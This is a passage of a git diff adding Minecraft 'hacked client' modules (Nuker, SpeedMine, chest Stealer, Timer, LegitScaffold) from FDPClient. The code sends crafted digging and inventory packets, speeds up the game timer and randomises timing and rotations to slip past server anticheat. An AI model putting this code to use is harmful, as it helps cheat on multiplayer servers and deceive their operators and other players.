mc.netHandler.addToSendQueue( + C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, + blockPos, EnumFacing.DOWN) + ) + + // End block break if able to break instant + if (block.getPlayerRelativeBlockHardness(thePlayer, mc.theWorld!!, blockPos) >= 1F) { + currentDamage = 0F + thePlayer.swingItem() + mc.playerController.onPlayerDestroyBlock(blockPos, EnumFacing.DOWN) + blockHitDelay = hitDelayValue.get() + validBlocks -= blockPos + nuke++ + continue // Next break + } + } + + // Break block + thePlayer.swingItem() + currentDamage += block.getPlayerRelativeBlockHardness(thePlayer, mc.theWorld!!, blockPos) + mc.theWorld!!.sendBlockBreakProgress(thePlayer.entityId, blockPos, (currentDamage * 10F).toInt() - 1) + + // End of breaking block + if (currentDamage >= 1F) { + mc.netHandler.addToSendQueue(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, blockPos, EnumFacing.DOWN)) + mc.playerController.onPlayerDestroyBlock(blockPos, EnumFacing.DOWN) + blockHitDelay = hitDelayValue.get() + currentDamage = 0F + } + return // Break out + } while (nuke < nukeValue.get()) + } else { + // Fast creative mode nuker (CreativeStorm option) + + // Unable to break with swords in creative mode + if (thePlayer.heldItem?.item is ItemSword) + return + + // Search for new blocks to break + searchBlocks(radiusValue.get().roundToInt() + 1) + .filter { (pos, block) -> + if (getCenterDistance(pos) <= radiusValue.get() && validBlock(block)) { + if (layerValue.get() && pos.y < thePlayer.posY) { // Layer: Break all blocks above you + return@filter false + } + + if (!throughWallsValue.get()) { // ThroughWalls: Just break blocks in your sight + // Raytrace player eyes to block position (through walls check) + val eyesPos = Vec3(thePlayer.posX, thePlayer.entityBoundingBox.minY + + thePlayer.eyeHeight, thePlayer.posZ) + val blockVec = Vec3(pos.x + 0.5, pos.y + 0.5, pos.z + 0.5) + val rayTrace = mc.theWorld!!.rayTraceBlocks(eyesPos, blockVec, + false, true, false) + + // Check if block is visible + rayTrace != null && rayTrace.blockPos == pos + } else true // Done + } else false // Bad block + } + .forEach { (pos, _) -> + // Instant break block + mc.netHandler.addToSendQueue(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, + pos, EnumFacing.DOWN)) + thePlayer.swingItem() + mc.netHandler.addToSendQueue(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, + pos, EnumFacing.DOWN)) + attackedBlocks.add(pos) + } + } + } + + @EventTarget + fun onRender3D(event: Render3DEvent) { + // Safe block + if (!layerValue.get()) { + val safePos = BlockPos(mc.thePlayer!!.posX, mc.thePlayer!!.posY - 1, mc.thePlayer!!.posZ) + val safeBlock = BlockUtils.getBlock(safePos) + if (safeBlock != null && validBlock(safeBlock)) + RenderUtils.drawBlockBox(safePos, Color.GREEN, true) + } + + // Just draw all blocks + for (blockPos in attackedBlocks) + RenderUtils.drawBlockBox(blockPos, Color.RED, true) + } + + /** + * Check if [block] is a valid block to break + */ + private fun validBlock(block: Block) = block != Blocks.air && block !is BlockLiquid && block != Blocks.bedrock + + companion object { + var currentDamage = 0F + } + fun switchSlot(blockPos: BlockPos) { + var bestSpeed = 1F + var bestSlot = -1 + + val block = mc.theWorld.getBlockState(blockPos).block + + for (i in 0..8) { + val item = mc.thePlayer.inventory.getStackInSlot(i) ?: continue + val speed = item.getStrVsBlock(block) + + if (speed > bestSpeed) { + bestSpeed = speed + bestSlot = i + } + } + + if (bestSlot != -1) { + mc.thePlayer.inventory.currentItem = bestSlot + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/SpeedMine.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/SpeedMine.kt new file mode 100644 index 0000000..87fbca6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/SpeedMine.kt @@ -0,0 +1,78 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.world + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.PacketUtils.sendPacketNoEvent +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.minecraft.init.Blocks +import net.minecraft.network.play.client.C07PacketPlayerDigging +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing + +@ModuleInfo(name = "SpeedMine", category = ModuleCategory.WORLD) +object SpeedMine : Module() { + + private val speedValue = FloatValue("Speed", 1.5f, 1f, 3f) + private var facing: EnumFacing? = null + private var pos: BlockPos? = null + private var boost = false + private var damage = 0f + @EventTarget + fun onMotion(e: MotionEvent) { + if (e.isPre()) { + mc.playerController.blockHitDelay = 0 + if (pos != null && boost) { + val blockState = mc.theWorld.getBlockState(pos) ?: return + damage += try { + blockState.block.getPlayerRelativeBlockHardness(mc.thePlayer, mc.theWorld, pos) * speedValue.get() + } catch (ex: Exception) { + ex.printStackTrace() + return + } + if (damage >= 1) { + try { + mc.theWorld.setBlockState(pos, Blocks.air.defaultState, 11) + } catch (ex: Exception) { + ex.printStackTrace() + return + } + sendPacketNoEvent( + C07PacketPlayerDigging( + C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, + pos, + facing + ) + ) + damage = 0f + boost = false + } + } + } + } + + @EventTarget + fun onPacket(e: PacketEvent) { + if (e.packet is C07PacketPlayerDigging) { + val packet = e.packet + if (packet.status == C07PacketPlayerDigging.Action.START_DESTROY_BLOCK) { + boost = true + pos = packet.position + facing = packet.facing + damage = 0f + } else if ((packet.status == C07PacketPlayerDigging.Action.ABORT_DESTROY_BLOCK) or (packet.status == C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK)) { + boost = false + pos = null + facing = null + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Stealer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Stealer.kt new file mode 100644 index 0000000..2aed899 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Stealer.kt @@ -0,0 +1,361 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.world + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.player.InvManager +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.utils.timer.TimeUtils +import net.minecraft.client.gui.GuiScreen +import net.minecraft.client.gui.inventory.GuiChest +import net.minecraft.inventory.Slot +import net.minecraft.item.Item +import net.minecraft.item.ItemBlock +import net.minecraft.item.ItemStack +import net.minecraft.network.play.client.C0EPacketClickWindow +import net.minecraft.network.play.server.S2DPacketOpenWindow +import net.minecraft.network.play.server.S30PacketWindowItems +import net.minecraft.util.ResourceLocation +import kotlin.random.Random + +@ModuleInfo(name = "Stealer", category = ModuleCategory.PLAYER) +object Stealer : Module() { + /** + * OPTIONS + */ + + private val maxDelayValue: IntegerValue = object : IntegerValue("MaxDelay", 200, 0, 400) { + override fun onChanged(oldValue: Int, newValue: Int) { + val i = minDelayValue.get() + if (i > newValue) { + set(i) + } + + nextDelay = TimeUtils.randomDelay(minDelayValue.get(), get()) + } + } + private val minDelayValue: IntegerValue = object : IntegerValue("MinDelay", 150, 0, 400) { + override fun onChanged(oldValue: Int, newValue: Int) { + val i = maxDelayValue.get() + + if (i < newValue) { + set(i) + } + + nextDelay = TimeUtils.randomDelay(get(), maxDelayValue.get()) + } + } + + private val chestValue = IntegerValue("ChestOpenDelay", 300, 0, 1000) + private val takeRandomizedValue = BoolValue("TakeRandomized", false) + private val onlyItemsValue = BoolValue("OnlyItems", false) + private val instantValue = BoolValue("Instant", false) + private val stopMotionValue = BoolValue("StopMotion", false) + private val noDuplicateValue = BoolValue("NoDuplicateNonStackable", false) + private val noCompassValue = BoolValue("NoCompass", false) + private val autoCloseValue = BoolValue("AutoClose", true) + val silentTitleValue = BoolValue("SilentTitle", false) + val silenceValue = BoolValue("SilentMode", true) + val showStringValue = BoolValue("Silent-ShowString", true).displayable { silenceValue.get() } + val stillDisplayValue = BoolValue("Silent-StillDisplay", true).displayable { silenceValue.get() } + + private val autoCloseMaxDelayValue: IntegerValue = object : IntegerValue("AutoCloseMaxDelay", 0, 0, 400) { + override fun onChanged(oldValue: Int, newValue: Int) { + val i = autoCloseMinDelayValue.get() + if (i > newValue) set(i) + nextCloseDelay = TimeUtils.randomDelay(autoCloseMinDelayValue.get(), this.get()) + } + }.displayable { autoCloseValue.get() } as IntegerValue + + private val autoCloseMinDelayValue: IntegerValue = object : IntegerValue("AutoCloseMinDelay", 0, 0, 400) { + override fun onChanged(oldValue: Int, newValue: Int) { + val i = autoCloseMaxDelayValue.get() + if (i < newValue) set(i) + nextCloseDelay = TimeUtils.randomDelay(this.get(), autoCloseMaxDelayValue.get()) + } + }.displayable { autoCloseValue.get() } as IntegerValue + + private val closeOnFullValue = BoolValue("CloseOnFull", true) + private val chestTitleValue = BoolValue("ChestTitle", false) + + /** + * VALUES + */ + private val delayTimer = MSTimer() + private val chestTimer = MSTimer() + private var nextDelay = TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get()) + + private val autoCloseTimer = MSTimer() + private var nextCloseDelay = TimeUtils.randomDelay(autoCloseMinDelayValue.get(), autoCloseMaxDelayValue.get()) + + private var contentReceived = 0 + var once = false + + override fun onDisable() { + once = false + } + + @EventTarget + fun onMove(event: MoveEvent) { + if (stopMotionValue.get() && mc.currentScreen is GuiChest) { + event.x = 0.0 + event.z = 0.0 + } + } + + @EventTarget + fun onRender3D(event: Render3DEvent) { + if (!chestTimer.hasTimePassed(chestValue.get().toLong())) { + return + } + + val screen = mc.currentScreen + + if (screen !is GuiChest || !delayTimer.hasTimePassed(nextDelay)) { + autoCloseTimer.reset() + return + } + + // No Compass + if (noCompassValue.get() && mc.thePlayer.inventory.getCurrentItem()?.item?.unlocalizedName == "item.compass") { + return + } + + // Chest title + if (chestTitleValue.get() && (screen.lowerChestInventory == null || !screen.lowerChestInventory.name.contains(ItemStack(Item.itemRegistry.getObject(ResourceLocation("minecraft:chest"))).displayName))) { + return + } + + // inventory cleaner + val invManager = FDPClient.moduleManager[InvManager::class.java]!! + + // check if it's empty? + if (!isEmpty(screen) && !(closeOnFullValue.get() && fullInventory)) { + autoCloseTimer.reset() + + // Randomized + if (takeRandomizedValue.get()) { + do { + val items = mutableListOf<Slot>() + + for (slotIndex in 0 until screen.inventoryRows * 9) { + val slot = screen.inventorySlots.inventorySlots[slotIndex] + + if (slot.stack != null && (!onlyItemsValue.get() || slot.stack.item !is ItemBlock) && (!noDuplicateValue.get() || slot.stack.maxStackSize > 1 || !mc.thePlayer.inventory.mainInventory.filter { it != null && it.item != null } + .map { it.item!! } + .contains(slot.stack.item)) && (!invManager.state || InvManager.isUseful( + slot.stack, + -1 + )) + ) + items.add(slot) + } + + val randomSlot = Random.nextInt(items.size) + val slot = items[randomSlot] + + move(screen, slot) + } while (delayTimer.hasTimePassed(nextDelay) && items.isNotEmpty()) + return + } + + // Non randomized + for (slotIndex in 0 until screen.inventoryRows * 9) { + val slot = screen.inventorySlots.inventorySlots[slotIndex] + + if (delayTimer.hasTimePassed(nextDelay) && slot.stack != null && + (!onlyItemsValue.get() || slot.stack.item !is ItemBlock) && (!invManager.state || InvManager.isUseful( + slot.stack, + -1 + ))) { + move(screen, slot) + } + } + } else if (autoCloseValue.get() && screen.inventorySlots.windowId == contentReceived && autoCloseTimer.hasTimePassed( + nextCloseDelay + )) { + mc.thePlayer.closeScreen() + nextCloseDelay = TimeUtils.randomDelay(autoCloseMinDelayValue.get(), autoCloseMaxDelayValue.get()) + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (chestTimer.hasTimePassed(chestValue.get().toLong())) { + if (instantValue.get()) { + if (mc.currentScreen is GuiChest) { + val chest = mc.currentScreen as GuiChest + val rows = chest.inventoryRows * 9 + for (i in 0 until rows) { + val slot = chest.inventorySlots.getSlot(i) + if (slot.hasStack) { + mc.thePlayer.sendQueue.addToSendQueue( + C0EPacketClickWindow( + chest.inventorySlots.windowId, + i, + 0, + 1, + slot.stack, + 1.toShort() + ) + ) + } + chestTimer.reset() + } + mc.thePlayer.closeScreen() + } + } + } + val screen = mc.currentScreen ?: return + performStealer(screen) + } + + private fun performStealer(screen: GuiScreen) { + if (once && screen !is GuiChest) { + // prevent a bug where the chest suddenly closed while not finishing stealing items inside, leaving cheststealer turned on alone. + state = false + return + } + + if (screen !is GuiChest || !delayTimer.hasTimePassed(nextDelay)) { + autoCloseTimer.reset() + return + } + + // No Compass + if (!once && noCompassValue.get() && mc.thePlayer.inventory.getCurrentItem()?.item?.unlocalizedName == "item.compass") + return + + // Chest title + if (!once && chestTitleValue.get() && (screen.lowerChestInventory == null || !screen.lowerChestInventory.name.contains( + ItemStack(Item.itemRegistry.getObject(ResourceLocation("minecraft:chest"))).displayName + )) + ) + return + + // inventory cleaner + val inventoryCleaner = FDPClient.moduleManager[InvManager::class.java] as InvManager + + // Is empty? + if (!isEmpty(screen) && !(closeOnFullValue.get() && fullInventory)) { + autoCloseTimer.reset() + + // Randomized + if (takeRandomizedValue.get()) { + var noLoop = false + do { + val items = mutableListOf<Slot>() + + for (slotIndex in 0 until screen.inventoryRows * 9) { + val slot = screen.inventorySlots.inventorySlots[slotIndex] + + if (slot.stack != null && (!onlyItemsValue.get() || slot.stack.item !is ItemBlock) && (!noDuplicateValue.get() || slot.stack.maxStackSize > 1 || !mc.thePlayer.inventory.mainInventory.filter { it != null && it.item != null } + .map { it.item!! } + .contains(slot.stack.item)) && (!inventoryCleaner.state || InvManager.isUseful( + slot.stack, + -1 + )) + ) + items.add(slot) + } + + val randomSlot = Random.nextInt(items.size) + val slot = items[randomSlot] + + move(screen, slot) + if (nextDelay == 0L || delayTimer.hasTimePassed(nextDelay)) + noLoop = true + } while (delayTimer.hasTimePassed(nextDelay) && items.isNotEmpty() && !noLoop) + return + } + + // Non randomized + for (slotIndex in 0 until screen.inventoryRows * 9) { + val slot = screen.inventorySlots.inventorySlots[slotIndex] + + if (delayTimer.hasTimePassed(nextDelay) && slot.stack != null && + (!onlyItemsValue.get() || slot.stack.item !is ItemBlock) && (!noDuplicateValue.get() || slot.stack.maxStackSize > 1 || !mc.thePlayer.inventory.mainInventory.filter { it != null && it.item != null } + .map { it.item!! } + .contains(slot.stack.item)) && (!inventoryCleaner.state || InvManager.isUseful( + slot.stack, + -1 + )) + ) { + move(screen, slot) + } + } + } else if (autoCloseValue.get() && screen.inventorySlots.windowId == contentReceived && autoCloseTimer.hasTimePassed( + nextCloseDelay + ) + ) { + mc.thePlayer.closeScreen() + + if (silenceValue.get() && !stillDisplayValue.get()) { + FDPClient.hud.addNotification( + Notification( + "Stealer","Closed chest.", + NotifyType.INFO + ) + ) + } + nextCloseDelay = TimeUtils.randomDelay(autoCloseMinDelayValue.get(), autoCloseMaxDelayValue.get()) + + if (once) { + once = false + state = false + return + } + } + } + @EventTarget + private fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is S30PacketWindowItems) { + contentReceived = packet.func_148911_c() + } + + if (packet is S2DPacketOpenWindow) { + chestTimer.reset() + } + } + + private fun move(screen: GuiChest, slot: Slot) { + screen.handleMouseClick(slot, slot.slotNumber, 0, 1) + delayTimer.reset() + nextDelay = TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get()) + } + + private fun isEmpty(chest: GuiChest): Boolean { + val inventoryCleaner = FDPClient.moduleManager[InvManager::class.java] as InvManager + + for (i in 0 until chest.inventoryRows * 9) { + val slot = chest.inventorySlots.inventorySlots[i] + + if (slot.stack != null && (!onlyItemsValue.get() || slot.stack.item !is ItemBlock) && (!noDuplicateValue.get() || slot.stack.maxStackSize > 1 || !mc.thePlayer.inventory.mainInventory.filter { it != null && it.item != null } + .map { it.item!! } + .contains(slot.stack.item)) && (!inventoryCleaner.state || InvManager.isUseful( + slot.stack, + -1 + )) + ) + return false + } + + return true + } + + private val fullInventory: Boolean + get() = mc.thePlayer.inventory.mainInventory.none { it == null } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Timer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Timer.kt new file mode 100644 index 0000000..212874a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Timer.kt @@ -0,0 +1,74 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.world + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.MovementUtils.isMoving + +@ModuleInfo(name = "Timer", category = ModuleCategory.WORLD) +object Timer : Module() { + + private val bypass = ListValue("Bypass", arrayOf("Matrix","Normal"),"Normal") + private val mode = ListValue("Mode", arrayOf("OnMove", "NoMove", "Always"), "OnMove") + private val speed = FloatValue("Speed", 2F, 0.1F,10F) + private var ticks = 0 + private var ticks2 = 0 + private var start = false + + override fun onDisable() { + ticks = 0 + ticks2 = 0 + start = false + if (mc.thePlayer == null) + return + + mc.timer.timerSpeed = 1F + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (mode.get() == "Always" || mode.get() == "OnMove" && isMoving() || mode.get() == "NoMove" && !isMoving()) { + if (bypass.equals("Normal")) { + mc.timer.timerSpeed = speed.get() + } else { + if (isMoving()) { + if (!start) { + mc.timer.timerSpeed = 0.1f + ticks++ + } + } else { + start = true + } + if (start) { + ticks2 ++ + mc.timer.timerSpeed = speed.get() + if (ticks2 == ticks) { + FDPClient.moduleManager[Timer::class.java]!!.state = false + } + } + } + return + } + + mc.timer.timerSpeed = 1F + } + + @EventTarget + fun onWorld(event: WorldEvent) { + if (event.worldClient != null) + return + + state = false + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/scaffold/LegitScaffold.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/scaffold/LegitScaffold.kt new file mode 100644 index 0000000..c552ffb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/scaffold/LegitScaffold.kt @@ -0,0 +1,683 @@ +package net.ccbluex.liquidbounce.features.module.modules.world.scaffold + +import kevin.utils.multiply +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.InventoryUtils +import net.ccbluex.liquidbounce.utils.MouseUtils +import net.ccbluex.liquidbounce.utils.Rotation +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.block.* +import net.minecraft.block.material.Material +import net.minecraft.item.ItemBlock +import net.minecraft.item.ItemStack +import net.minecraft.network.Packet +import net.minecraft.network.play.client.C09PacketHeldItemChange +import net.minecraft.network.play.client.C0APacketAnimation +import net.minecraft.network.play.server.S09PacketHeldItemChange +import net.minecraft.stats.StatList +import net.minecraft.util.* +import java.awt.Color +import javax.vecmath.Vector2d +import kotlin.math.abs +import kotlin.math.min + +@ModuleInfo("LegitScaffold", category = ModuleCategory.WORLD) +class LegitScaffold : + Module() { + private val startTimeHelper = MSTimer() + private val startTimeHelper2 = MSTimer() + private val adTimeHelper = MSTimer() + val yawSpeed: FloatValue = FloatValue("YawSpeed", 40.0f, 0.0f, 180.0f) + val pitchSpeed: FloatValue = FloatValue("PitchSpeed", 40.0f, 0.0f, 180.0f) + val yawOffset: FloatValue = FloatValue("YawOffSet", -180f, -200f, 200f) + val moveFix: BoolValue = BoolValue("MoveFix", true) + val esp: BoolValue = BoolValue("ESP", true) + val adStrafe: BoolValue = BoolValue("AdStrafe", true) + val swing: BoolValue = BoolValue("Swing", false) + val extraClick: BoolValue = BoolValue("ExtraClickTime", true) + val sameY: BoolValue = BoolValue("SameY", false) + val preMotionClick: BoolValue = BoolValue("PreMotionClick", false) + val silentMode = ListValue("SilentMode", arrayOf("Switch", "Spoof", "None"), "Spoof") + var hitpoints: ArrayList<DoubleArray> = ArrayList() + private var rots: Rotation = Rotation(0F, 0F) + private var enumFacing: EnumFacing? = null + private var objectPosition: MovingObjectPosition? = null + var slotID: Int = 0 + private set + private var block: ItemStack? = null + private var lastSlotID = 0 + private var blockPos: BlockPos? = null + private var start = true + private var xyz = DoubleArray(3) + private val hashMap = HashMap<Float, MovingObjectPosition>() + + override fun onEnable() { + if (mc.thePlayer != null && mc.theWorld != null) { + this.objectPosition = null + this.blockPos = null + this.slotID = mc.thePlayer.inventory.currentItem + this.lastSlotID = mc.thePlayer.inventory.currentItem + this.start = true + startTimeHelper.reset() + } + } + + override fun onDisable() { + if (mc.thePlayer.inventory.currentItem != this.slotID) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + } + RotationUtils.setTargetRotation( + Rotation( + mc.thePlayer.rotationYaw + rots.yaw / 2, + mc.thePlayer.rotationPitch + rots.pitch / 2 + ) + ) + mc.thePlayer.isSprinting = false + + this.slotID = mc.thePlayer.inventory.currentItem + } + + @EventTarget + fun onUpdate(ignored: UpdateEvent?) { + if (this.blockPos != null) this.setRotation() + if (mc.thePlayer != null && mc.theWorld != null) { + mc.thePlayer.isSprinting = false + + if (extraClick.get()) click() + } + } + + @EventTarget + fun onTick(event: TickEvent?) { + this.blockPos = this.aimBlockPos + this.start = + (mc.thePlayer.motionX == 0.0) && (mc.thePlayer.motionZ == 0.0) && mc.thePlayer.onGround || !startTimeHelper.hasTimePassed( + 200L + ) + if (this.start) { + startTimeHelper2.reset() + } + + if (this.blockPos != null) { + this.rots = nearestRotation() + + this.setRotation() + } + if (objectPosition != null) { + mc.objectMouseOver = objectPosition + } + } + + @EventTarget + fun onClick(event: ClickUpdateEvent) { +// Vec3 vec3 = mc.thePlayer.getPositionEyes(1f); +// Vec3 vec31 = OtherExtensionsKt.multiply(rots.toDirection(), 4.5f).add(vec3); +// mc.objectMouseOver = mc.theWorld.rayTraceBlocks(vec3, vec31, false, false, true); + event.cancelEvent() + this.setRotation() + click() + } + + @EventTarget + fun onMotion(event: MotionEvent) { + if (!preMotionClick.get()) return + if (event.eventState === EventState.PRE) { + // vec3 = mc.thePlayer.getPositionEyes(1f); + // NOPE, we updated position this tick but not in server side. + // so we need to... + val vec3 = Vec3( + mc.thePlayer.posX, + mc.thePlayer.posY + mc.thePlayer.getEyeHeight(), + mc.thePlayer.posY + ) + val vec31: Vec3 = rots.toDirection().multiply(4.5).add(vec3) + mc.objectMouseOver = mc.theWorld.rayTraceBlocks(vec3, vec31, false, false, true) + click() + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet: Packet<*> = event.packet + if (packet is C09PacketHeldItemChange) { + val id = packet.slotId + if (id == lastSlotID) event.cancelEvent() + lastSlotID = id + } else if (packet is S09PacketHeldItemChange) { + lastSlotID = packet.heldItemHotbarIndex + } + } + + private fun nearestRotation(): Rotation { + this.objectPosition = null + var rot: Rotation = rots.cloneSelf() + val b = BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 0.5, mc.thePlayer.posZ) + hashMap.clear() + if (this.start) { + rot.pitch = 80.34f + rot.yaw = (mc.thePlayer.rotationYaw + yawOffset.get()) + rot = RotationUtils.limitAngleChange( + RotationUtils.serverRotation!!, + rot, + yawSpeed.get() + RandomUtils.nextFloat(0F, 2F), + pitchSpeed.get() - RandomUtils.nextFloat(0F, 2F) + ) + } else { + rot.yaw = (mc.thePlayer.rotationYaw + yawOffset.get()) + rot = RotationUtils.limitAngleChange( + RotationUtils.serverRotation!!, + rot, + yawSpeed.get() + RandomUtils.nextFloat(0F, 2F), + pitchSpeed.get() + RandomUtils.nextFloat(0F, 2F) + ) + var x: Double = mc.thePlayer.posX + var z: Double = mc.thePlayer.posZ + val add1 = 1.288 + val add2 = 0.288 + if (!this.buildForward()) { + x += mc.thePlayer.posX - xyz[0] + z += mc.thePlayer.posZ - xyz[2] + } + + this.xyz = doubleArrayOf(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ) + val maX = blockPos!!.x.toDouble() + add1 + val miX = blockPos!!.x.toDouble() - add2 + val maZ = blockPos!!.z.toDouble() + add1 + val miZ = blockPos!!.z.toDouble() - add2 + if (x in miX..maX && z <= maZ && z >= miZ) { + rot.pitch = (rots.pitch) + } else { + val movingObjectPositions = ArrayList<MovingObjectPosition>() + val pitches = ArrayList<Float>() + val vec3: Vec3 = mc.thePlayer.getPositionEyes(1f) + var mm = (rots.pitch - 20.0f).coerceAtLeast(-90.0f) + while (mm < (rots.pitch + 20.0f).coerceAtMost(90.0f)) { + rot.pitch = mm + rot.fixedSensitivity() + val vec31: Vec3 = rot.toDirection().multiply(4.5).add(vec3) + val m4: MovingObjectPosition = mc.theWorld.rayTraceBlocks(vec3, vec31, false, false, true) + if ((m4.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK && this.isOkBlock( + m4.blockPos + )) && m4.blockPos == this.blockPos && (m4.sideHit != EnumFacing.DOWN) && (m4.sideHit != EnumFacing.UP || (!sameY.get() && mc.gameSettings.keyBindJump.isKeyDown)) && (m4.blockPos.y <= b.y) + ) { + movingObjectPositions.add(m4) + val rotPitch: Float = rot.pitch + hashMap[rotPitch] = m4 + pitches.add(rotPitch) + } + mm += 0.02f + } + + movingObjectPositions.sortWith(Comparator.comparingDouble { m: MovingObjectPosition -> + mc.thePlayer.getDistanceSq( + m.blockPos.add(0.5, 0.5, 0.5) + ) + }) + var mm1: MovingObjectPosition? = null + if (movingObjectPositions.isNotEmpty()) { + mm1 = movingObjectPositions[0] + } + + if (mm1 != null) { + pitches.sortWith(Comparator.comparingDouble { pitch: Float -> + this.distanceToLastPitch( + pitch + ) + }) + if (pitches.isNotEmpty()) { + val rotPitch = pitches[0] + rot.pitch = rotPitch + this.objectPosition = hashMap[rotPitch] + this.blockPos = objectPosition!!.blockPos + } + + return rot + } + } + } + + return rot + } + + private fun canPlace(rotation: Rotation): Boolean { + val b = BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 0.5, mc.thePlayer.posZ) + val vec31: Vec3 = mc.thePlayer.getPositionEyes(1f) + val vec32: Vec3 = rotation.toDirection().multiply(4.5).add(vec31) + val m4: MovingObjectPosition = mc.theWorld.rayTraceBlocks(vec31, vec32, false, false, true) + if ((m4.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK && this.isOkBlock( + m4.blockPos + )) && m4.blockPos == this.blockPos && (m4.sideHit != EnumFacing.DOWN) && (m4.sideHit != EnumFacing.UP) && (m4.blockPos.y <= b.y) + ) { + hashMap[rotation.pitch] = m4 + return true + } else { + return false + } + } + + private fun distanceToLastRots(predictRots: Rotation): Double { + val diff1: Float = abs(predictRots.yaw - rots.yaw) + val diff2: Float = abs(predictRots.pitch - rots.pitch) + return (diff1 * diff1 + diff2 * diff2).toDouble() + } + + private fun distanceToLastPitch(pitch: Float): Double { + return abs(pitch - rots.pitch).toDouble() + } + + private fun getAdvancedDiagonalExpandXZ(blockPos: BlockPos): DoubleArray { + val xz = DoubleArray(2) + val difference = Vector2d(blockPos.x.toDouble() - mc.thePlayer.posX, blockPos.z.toDouble() - mc.thePlayer.posZ) + if (difference.x > -1.0 && difference.x < 0.0 && difference.y < -1.0) { + this.enumFacing = EnumFacing.SOUTH + xz[0] = difference.x * -1.0 + xz[1] = 1.0 + } + + if (difference.y < 0.0 && difference.y > -1.0 && difference.x < -1.0) { + this.enumFacing = EnumFacing.EAST + xz[0] = 1.0 + xz[1] = difference.y * -1.0 + } + + if (difference.x > -1.0 && difference.x < 0.0 && difference.y > 0.0) { + this.enumFacing = EnumFacing.NORTH + xz[0] = difference.x * -1.0 + xz[1] = 0.0 + } + + if (difference.y < 0.0 && difference.y > -1.0 && difference.x > 0.0) { + xz[0] = 0.0 + xz[1] = difference.y * -1.0 + this.enumFacing = EnumFacing.WEST + } + + if (difference.x >= 0.0 && difference.y < -1.0) { + xz[1] = 1.0 + } + + 